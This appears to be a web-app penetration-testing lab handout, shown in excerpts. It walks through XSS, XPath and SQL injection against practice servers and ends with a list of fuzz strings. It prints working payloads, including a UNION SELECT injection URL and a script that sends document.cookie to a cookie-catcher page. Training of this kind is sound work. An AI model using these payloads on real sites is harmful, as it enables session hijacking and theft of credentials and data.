  70. Most people are going to tell you reference the OWASP Testing guide.
  71. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  72.  
  73. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  74.  
  75.  
  76. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  77.  
  78. 1. Does the website talk to a DB?
  79. - Look for parameter passing (ex: site.com/page.php?id=4)
  80. - If yes - try SQL Injection
  81.  
  82. 2. Can I or someone else see what I type?
  83. - If yes - try XSS
  84.  
  85. 3. Does the page reference a file?
  86. - If yes - try LFI/RFI
  87.  
  88. Let's start with some manual testing against 54.213.252.28
  89.  
  90.  
  91. Start here:
  92. http://54.213.252.28/
  93.  
  94.  
  95. There's no parameter passing on the home page so the answer to question 1 is NO.
  96. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  97.  
  98. Try an XSS in the search box on the home page:
  99. <script>alert(123);</script>
  100.  
  101. Doing this gives us the following in the address bar:
  102. http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script>
  103.  
  104. Ok, so we've verified that there is XSS in the search box.
  105.  
  106. Let's move on to the search box in the left of the page.
  107.  
  108. Let's give the newsletter signup box a shot
  109.  
  110. Moving on to the login page.
  111. http://54.213.252.28/login.aspx
  112.  
  113. I entered a single quote (') for both the user name and the password. I got the following error:
  114.  
  115. -----------------------------------------------------------------
  116. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  117. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  118.  
  119. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  120.  
  121. Source Error:
  122.  
  123.  
  124. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  125. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  126. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  127. Line 115: //String test = xmln.ToString();
  128. Line 116: if (xmln.Count > 0)
  129.  
  130. -----------------------------------------------------------------
  131.  
  132.  
  133. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  134.  
  135. WTF is this:
  136. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  137.  
  138.  
  139.  
  140.  
  141. In this case you'll have the trap the request with a proxy like:
  142. - Firefox Tamper Data
  143. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  144. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  145. - Rat Proxy https://code.google.com/p/ratproxy/
  146. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  147. - Paros http://sourceforge.net/projects/paros/
  148.  
  149.  
  150.  
  151. Let's go back to that page error message.....
  152.  
  153.  
  154. Let's check it out:
  155. http://54.213.252.28/AuthInfo.xml
  156.  
  157. Looks like we found passwords!!!!!!!!!!
  158.  
  159.  
  160. Looks like there no significant new functionality after logging in with the stolen credentials.
  161.  
  162. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  163.  
  164.  
  165. http://54.213.252.28/bookdetail.aspx?id=2
  166.  
  167.  
  168. Ok, there is parameter passing (bookdetail.aspx?id=2).
  169.  
  170. The page name is: bookdetail.aspx
  171. The parameter name is: id
  172. The paramber value is: 2
  173.  
  174.  
  175. Let's try throwing a single quote (') in there:
  176.  
  177. http://54.213.252.28/bookdetail.aspx?id=2'
  178.  
  179.  
  180. I get the following error:
  181.  
  182. Unclosed quotation mark after the character string ''.
  183. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  184.  
  185. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  186.  
  187.

  234.  
  235. We are using a union select statement because we are joining the developer's query with one of our own.
  236. Reference:
  237. http://www.techonthenet.com/sql/union.php
  238. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  239. It removes duplicate rows between the various SELECT statements.
  240.  
  241. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  242.  
  243. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  244.  
  245. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  246.

  329.  
  330. OK - what is Cross Site Scripting (XSS)
  331.  
  332. 1. Use Firefox to browse to the following location:
  333.  
  334. http://54.172.112.249/xss_practice/
  335.  
  336. A really simple search page that is vulnerable should come up.
  337.  
  338.  
  339.  
  340.  
  341. 2. In the search box type:
  342.  
  343. <script>alert('So this is XSS')</script>
  344.  
  345.  
  346. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  347. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  348.  
  349.  
  350. 3. In the search box type:
  351.  
  352. <script>alert(document.cookie)</script>
  353.  
  354.  
  355. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  356. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  357.  
  358. 4. Now replace that alert script with:
  359.  
  360. <script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  361.  
  362.  
  363. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  364.  
  365.  
  366. 5. Now view the stolen cookie at:
  367. http://54.172.112.249/xss_practice/cookie_stealer_logs.html
  368.  
  369.  
  370. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  371.

  602. # How much fuzzing is enough? #
  603. ###############################
  604. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  605.  
  606. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  607.  
  608.  
  609. Step 1: Ask yourself the 3 questions per page of the site.
  610.  
  611. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  612.  
  613. Step 3: When you load your fuzz strings - use the following decision tree
  614.  
  615. - Are the fuzz strings causing a default error message (example 404)?
  616. - If this is the case then it is most likely NOT vulnerable
  617.  
  618. - Are the fuzz strings causing a WAF or LB custom error message?
  619. - If this is the case then you need to find an encoding method to bypass
  620.  
  621.  
  622. - Are the fuzz strings causing an error message that discloses the backend type?
  623. - If yes, then identify DB type and find correct syntax to successfully exploit
  624. - Some example strings that I use are:
  625. '
  626. "
  627. () <----- Take the parameter value and put it in parenthesis
  628. (5-1) <----- See if you can perform an arithmetic function
  629.  
  630.  
  631. - Are the fuzz strings rendering executable code?
  632. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  633. - Some example strings that I use are:
  634. <b>hello</b>
  635. <u>hello</u>
  636. <script>alert(123);</script>
  637. <script>alert(xss);</script>
  638. <script>alert('xss');</script>
  639. <script>alert("xss");</script>
